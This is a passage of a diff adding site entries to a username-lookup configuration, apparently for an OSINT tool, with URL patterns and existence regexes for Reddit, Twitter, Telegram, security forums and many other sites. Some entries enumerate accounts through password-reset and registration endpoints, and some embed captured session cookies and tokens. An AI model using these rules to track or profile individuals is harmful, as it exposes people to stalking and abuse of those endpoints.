"userPage": "https://en.wikipedia.org/wiki/User:%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "wordpress": { + "url": "https://wordpress.com/", + "type": "Blog", + "isNSFW": false, + "detect": [ + { + "nonExistRegex": "wordpress.com</em> doesn't exist", + "url": "https://%s.wordpress.com/", + "existUsername": "Hoadlck", + "nonExistUsername": "youga777888", + "userPage": "https://%s.wordpress.com/", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "reddit": { + "url": "https://www.reddit.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "nonExistRegex": "Sorry, nobody on Reddit goes by that name.", + "url": "https://www.reddit.com/user/%s", + "existUsername": "blue", + "headers": { + "accept-language": "en-US,en;q=0.9" + }, + "nonExistUsername": "youga777888", + "userPage": "https://www.reddit.com/user/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "aqniu": { + "url": "https://www.aqniu.com/", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "nonExistRegex": "没有使用此用户名或电子邮件地址的账户。", + "existRegex": "未能发送电子邮件。您的主机可能未获正确配置。", + "url": "https://www.aqniu.com/wp-login.php?action=lostpassword", + "existUsername": "liuchaoyang", + "nonExistUsername": "youga777888", + "header": { + "Content-Type": "application/x-www-form-urlencoded" + }, + "body": "user_login=%s&redirect_to=&wp-submit=%%E8%%8E%%B7%%E5%%8F%%96%%E6%%96%%B0%%E5%%AF%%86%%E7%%A0%%81", + "userPage": "https://www.aqniu.com/author/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "quora": { + "url": "https://www.quora.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "statusCode": "200", + "existRegex": "Answers\": false, \"Questions\": false, \"Posts\":", + "url": "https://www.quora.com/profile/%s", + "existUsername": "Laura-Mitchell-5", + "nonExistUsername": "youga777888", + "userPage": "https://www.quora.com/profile/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "virustotal": { + "url": "https://www.virustotal.com/", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "statusCode": "200", + "url": "https://www.virustotal.com/ui/users/%s/avatar", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "userPage": "https://www.virustotal.com/gui/user/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "ES" + } + }, + "twitter": { + "url": "https://twitter.com/", + "type": "Social", + "isNSFW": false, + "nameCheck": "^[a-zA-Z0-9_]{1,15}$", + "sleep": 3, + "detect": [ + { + "nonExistRegex": "<div class=\"error-panel\"><span>User ", + "url": "https://nitter.net/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "userPage": "https://twitter.com/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "twitch": { + "url": "https://www.twitch.tv/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "statusCode": "200", + "url": "https://m.twitch.tv/%s", + "existUsername": "jenny", + "nonExistUsername": "youga777888", + "userPage": "https://www.twitch.tv/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "tryhackme": { + "url": "https://tryhackme.com/", + "type": "CyberSecurity", + "isNSFW": false, + "nameCheck": "^[a-zA-Z0-9.]{1,16}$", + "detect": [ + { + "nonExistRegex": "{\"success\":false}", + "url": "https://tryhackme.com/api/user/exist/%s", + "existUsername": "ashu", + "nonExistUsername": "youga777888", + "userPage": "https://tryhackme.com/p/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "IS" + } + }, + "tiktok": { + "url": "https://tiktok.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "statusCode": "200", + "url": "https://tiktok.com/@%s", + "existUsername": "red", + "nonExistUsername": "youga777888", + "userPage": "https://tiktok.com/@%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "KY" + } + }, + "telegram": { + "url": "https://t.me/", + "type": "Social", + "isNSFW": false, + "nameCheck": "^[a-zA-Z0-9_]{5,32}$", + "detect": [ + { + "nonExistRegex": "<meta property=\"og:description\" content=\"\">", + "url": "https://t.me/%s", + "existUsername": "piaolin", + "nonExistUsername": "youga777888", + "userPage": "https://t.me/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "steamgroup": { + "url": "https://steamcommunity.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "nonExistRegex": "No group could be retrieved for the given URL", + "url": "https://steamcommunity.com/groups/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "userPage": "https://steamcommunity.com/groups/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "sublimeforum": { + "url": "https://forum.sublimetext.com/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "statusCode": "200", + "url": "https://forum.sublimetext.com/u/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "userPage": "https://forum.sublimetext.com/u/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "spotify": { + "url": "https://open.spotify.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "statusCode": "200", + "url": "https://open.spotify.com/user/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "headers": { + "user-agent": "PostmanRuntime/7.29.2" + }, + "userPage": "https://open.spotify.com/user/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "SE" + } + }, + "sourceforge": { + "url": "https://sourceforge.net/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "statusCode": "200", + "url": "https://sourceforge.net/u/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "userPage": "https://sourceforge.net/u/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "snapchat": { + "url": "https://www.snapchat.com/", + "type": "Social", + "isNSFW": false, + "nameCheck": "^[a-z][a-z-_.]{3,15}", + "detect": [ + { + "statusCode": "200", + "url": "https://www.snapchat.com/add/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "userPage": "https://www.snapchat.com/add/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "rubygems": { + "url": "https://rubygems.org/", + "type": "Programmer", + "isNSFW": false, + "nameCheck": "^[a-zA-Z][a-zA-Z0-9_-]{1,40}", + "detect": [ + { + "statusCode": "200", + "url": "https://rubygems.org/profiles/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "userPage": "https://rubygems.org/profiles/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "pypi": { + "url": "https://pypi.org/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "statusCode": "200", + "url": "https://pypi.org/user/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "userPage": "https://pypi.org/user/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "quizlet": { + "url": "https://quizlet.com/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "statusCode": "200", + "url": "https://quizlet.com/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36" + }, + "userPage": "https://quizlet.com/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "pastebin": { + "url": "https://pastebin.com/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "nonExistRegex": "Pastebin.com - Not Found ", + "url": "https://pastebin.com/u/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36" + }, + "userPage": "https://pastebin.com/u/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "IS" + } + }, + "packagist": { + "url": "https://packagist.org/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "nonExistRegex": "reason=vendor_not_found", + "url": "https://packagist.org/packages/%s/", + "existUsername": "psr", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36" + }, + "userPage": "https://packagist.org/packages/%s/", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "FR" + } + }, + "oracle": { + "url": "https://community.oracle.com/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "statusCode": "200", + "url": "https://community.oracle.com/people/%s", + "existUsername": "dev", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36" + }, + "userPage": "https://community.oracle.com/people/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "opensource": { + "url": "https://opensource.com/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "statusCode": "200", + "url": "https://opensource.com/users/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36" + }, + "userPage": "https://opensource.com/users/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "nextcloud": { + "url": "https://nextcloud.com/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "statusCode": "200", + "url": "https://help.nextcloud.com/u/%s/summary", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36" + }, + "userPage": "https://help.nextcloud.com/u/%s/summary", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "DE" + } + }, + "minecraft": { + "url": "https://minecraft.net/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "nonExistRegex": "Couldn't find any profile with name", + "url": "https://api.mojang.com/users/profiles/minecraft/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36" + }, + "userPage": "https://api.mojang.com/users/profiles/minecraft/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "tft": { + "url": "https://lolchess.gg/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "nonExistRegex": "No search results", + "url": "https://lolchess.gg/profile/na/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36" + }, + "userPage": "https://lolchess.gg/profile/na/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "gitbook": { + "url": "https://gitbook.com/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "statusCode": "200", + "url": "https://%s.gitbook.io/", + "existUsername": "gitbook", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36" + }, + "userPage": "https://%s.gitbook.io/", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "hackernews": { + "url": "https://news.ycombinator.com/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "nonExistRegex": "No such user.", + "url": "https://news.ycombinator.com/user?id=%s", + "existUsername": "gitbook", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36" + }, + "userPage": "https://news.ycombinator.com/user?id=%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "FR" + } + }, + "hackerrank": { + "url": "https://hackerrank.com/", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "nonExistRegex": "Something went wrong", + "url": "https://hackerrank.com/%s", + "existUsername": "satznova", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36" + }, + "userPage": "https://hackerrank.com/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "leetcode": { + "url": "https://leetcode.com/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "statusCode": "200", + "url": "https://leetcode.com/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36" + }, + "userPage": "https://leetcode.com/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "leetcode-cn": { + "url": "https://leetcode.cn/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "nonExistRegex": "抱歉!我们找不到您想访问的页面", + "url": "https://leetcode.cn/u/%s/", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36" + }, + "userPage": "https://leetcode.cn/u/%s/", + "type": "username", + "status": false + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "9gag": { + "url": "https://www.9gag.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "statusCode": "200", + "url": "https://www.9gag.com/u/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36" + }, + "userPage": "https://www.9gag.com/u/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "csdn": { + "url": "https://blog.csdn.net/", + "type": "Blog", + "isNSFW": false, + "detect": [ + { + "statusCode": "200", + "url": "https://blog.csdn.net/%s", + "existUsername": "OneFlow_Official", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36" + }, + "userPage": "https://blog.csdn.net/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "cnblogs": { + "url": "https://www.cnblogs.com/", + "type": "Blog", + "isNSFW": false, + "detect": [ + { + "statusCode": "200", + "url": "https://www.cnblogs.com/%s/", + "existUsername": "LyShark", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36" + }, + "userPage": "https://www.cnblogs.com/%s/", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "oschina": { + "url": "https://my.oschina.net/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "statusCode": "200", + "url": "https://my.oschina.net/%s", + "existUsername": "kisswu", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36" + }, + "userPage": "https://my.oschina.net/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "segmentfault": { + "url": "https://segmentfault.com/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "nonExistRegex": "微信扫码登录", + "existRegex": "粉丝数", + "url": "https://segmentfault.com/u/%s", + "existUsername": "h_jm", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36" + }, + "userPage": "https://segmentfault.com/u/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "trello": { + "url": "https://trello.com/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "nonExistRegex": "model not found", + "url": "https://trello.com/1/Members/%s", + "existUsername": "h_jm", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36" + }, + "userPage": "https://trello.com/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "AU" + } + }, + "seebug": { + "url": "https://www.seebug.org/", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "statusCode": "200", + "url": "https://www.seebug.org/accounts/profile/%s", + "existUsername": "kikay_lee", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36", + "Cookie": "__jsluid_s=eea1cbf32a1f7e963c1aa33e29d33fb8; __jsl_clearance_s=1682778037.072|0|7DZXEgV4Oiq%2BI312i0Rr0bpHAUQ%3D" + }, + "userPage": "https://www.seebug.org/accounts/profile/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "sec-wiki": { + "url": "https://www.sec-wiki.com/", + "type": "CyberSecurity", + "isNSFW": false, + "sleep": 3, + "detect": [ + { + "statusCode": "200", + "url": "https://www.sec-wiki.com/user/view/%s", + "existUsername": "re4lity", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.sec-wiki.com/user/view/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "secrss": { + "url": "https://www.secrss.com/", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "nonExistRegex": "404 Not Found", + "existRegex": "登录", + "url": "https://www.secrss.com/articles?author=%s", + "existUsername": "ISACA", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.secrss.com/articles?author=%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "bugcrowd": { + "url": "https://bugcrowd.com/", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "statusCode": "200", + "url": "https://bugcrowd.com/%s", + "existUsername": "MuhammadKhizerJaved", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://bugcrowd.com/%s", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "track": { + "url": "https://bbs.zkaq.cn/", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "existRegex": "用户中心", + "nonExistRegex": "不存在该用户", + "url": "https://bbs.zkaq.cn/u/%s.html", + "existUsername": "nocircle", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://bbs.zkaq.cn/u/%s.html", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "mozhe": { + "url": "https://www.mozhe.cn/", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "nonExistRegex": "\\\\u53ef\\\\u4ee5\\\\u4f7f\\\\u7528", + "url": "https://www.mozhe.cn/check/nickname/exist", + "existUsername": "openkali", + "nonExistUsername": "youga777888", + "body": "nickname=%s&_token=UMXd6Cx41xzTBoZqU70SxTcOkc8heH7FomvsjOkN", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36", + "Cookie": "mozhe-xsrf-token=eyJpdiI6InNNeXlxZjY0VktmXC9pcTBCeXU3d0VRPT0iLCJ2YWx1ZSI6IjdOUVF0OG5lSU92SmI3N1doVjZFY2dLUGZwUTFqS2tpQm9KMnVjS0NvRXRrWFlsUjN5RURUMnZQWmxRSCtDOVg1Wk45em9SWTg5cWxBMkNOdkl5TnVBPT0iLCJtYWMiOiJhM2ZkMmQ3YWRhZTkzNWYzMTI2ZTUzNzUxNTZjNzMyYTc1N2I0ZjQ5YzQ0MGY4M2Y2ZDhhMTcyZTRkZmUzOWY2In0%3D; mz_session=eyJpdiI6IlcrQU9FNlVPZ21Rak9nS2s5VzdsZ1E9PSIsInZhbHVlIjoidWVpNzc1ME9ad3RkQWFjRDV6RnRFWTJOQ1A3eG8wd0t6WVVMcEtMUlwvcEhOcmRvY1BEYkl5S0pjSEJTNGozT05cL2FOZDh4bUJtR1BoQ3hobitDV29yUT09IiwibWFjIjoiZDgwNmU5YTMzYWM2ODI5NTljMzFmNWE2ZjQ1NzUyYzY4MjIwYTkwMjMyMDFmMzU1MzJjNTQyNmY2ZGUxMDY1ZSJ9; Hm_lvt_9e72691775fe3271a38b32ad33975d5e=1682861764; Hm_lpvt_9e72691775fe3271a38b32ad33975d5e=1682861764", + "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", + "X-Requested-With": "XMLHttpRequest" + }, + "userPage": "https://www.mozhe.cn/", + "type": "username", + "status": false + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "jarvisoj": { + "url": "https://www.jarvisoj.com/", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "existRegex": "This username has been used!!", + "url": "https://www.jarvisoj.com/api/register.json", + "existUsername": "kira", + "nonExistUsername": "youga777888", + "body": "email=155785154@qq.com&username=%s&organize=1&mobilephone=1&countryid=7&captcha=J871&agree=true&checkid=5e3f986d-0584-47d6-ad5b-cec7c825876b", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36", + "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8" + }, + "userPage": "https://www.jarvisoj.com/scoreboard", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "vulfocus": { + "url": "https://vulfocus.cn/", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "existRegex": "\\\\u8be5\\\\u7528\\\\u6237\\\\u5df2\\\\u88ab\\\\u6ce8\\\\u518c", + "url": "https://vulfocus.cn/api/user/register/", + "existUsername": "qianxiao324", + "nonExistUsername": "youga777888", + "body": "{\"username\":\"%s\",\"password\":\"123456\",\"email\":\"1@qq.com\",\"checkpass\":\"123456\",\"captcha_code\":\"1111\",\"hashkey\":\"f73d55f51cb61f2a69d085cea36b1ff11da052f3\"}", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36", + "Content-Type": "application/json" + }, + "userPage": "https://vulfocus.cn/#/userrank/list", + "type": "username" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "iteye": { + "url": "https://www.iteye.com/", + "type": "Programmer", + "isNSFW": false, + "sleep": 2, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.iteye.com/blog/user/%s", + "existUsername": "kristy-yy", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.iteye.com/blog/user/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "unsplash": { + "url": "https://unsplash.com/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://unsplash.com/@%s", + "existUsername": "jenny", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://unsplash.com/@%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CA" + } + }, + "seebug-paper": { + "url": "https://paper.seebug.org/", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://paper.seebug.org/users/author/?nickname=%s", + "existUsername": "Y4tacker", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://paper.seebug.org/users/author/?nickname=%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "douban": { + "url": "https://www.douban.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.douban.com/people/%s/", + "existUsername": "michellemou", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.douban.com/people/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "infoq": { + "url": "https://www.infoq.cn/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.infoq.cn/u/%s/", + "existUsername": "tiamozhang", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.infoq.cn/u/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "threatpost": { + "url": "https://threatpost.com/", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://threatpost.com/author/%s/", + "existUsername": "natenelson", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://threatpost.com/author/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "infosecurity-magazine": { + "url": "https://www.infosecurity-magazine.com/", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.infosecurity-magazine.com/profile/%s/", + "existUsername": "alessandro-mascellino", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 